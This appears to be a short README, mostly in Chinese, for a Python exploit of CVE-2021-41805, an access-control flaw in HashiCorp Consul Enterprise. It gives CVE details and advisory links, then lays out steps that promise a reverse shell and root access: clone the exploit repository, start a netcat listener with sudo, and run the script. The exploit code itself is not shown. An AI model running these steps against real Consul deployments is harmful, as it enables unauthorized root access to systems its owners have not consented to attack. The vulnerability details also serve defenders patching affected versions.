
HashiCorp Consul exploit with python. (CVE-2021-41805)
HashiCorp Consul Enterprise 在 1.8.17 之前、1.9.x 在 1.9.11 之前以及 1.10.x 在 1.10.4 之前存在不正确的访问控制。一个命名空间中的 ACL 令牌(具有默认 operator:write 权限)可用于在另一个不同的命名空间中实现意外的权限提升。
CVE_ID : CVE-2021-41805
Base Score : 8.8
Severity : 高
Issued on : 2021-12-12
Affected Versions : HashiCorp Consul Enterprise 在 1.8.17 之前、1.9.x 在 1.9.11 之前以及 1.10.x 在 1.10.4 之前的版本
https://www.cvedetails.com/cve/CVE-2021-41805/
https://security.netapp.com/advisory/ntap-20211229-0007/
获取反弹 Shell,并获得 root 访问权限。
git clone https://github.com/I-Am-Nelson/CVE-2021-41805.git
cd CVE-2021-41805
然后启动监听器:
sudo nc -lvnp <port>
然后运行漏洞利用程序:
python3 CVE-2021-41805.py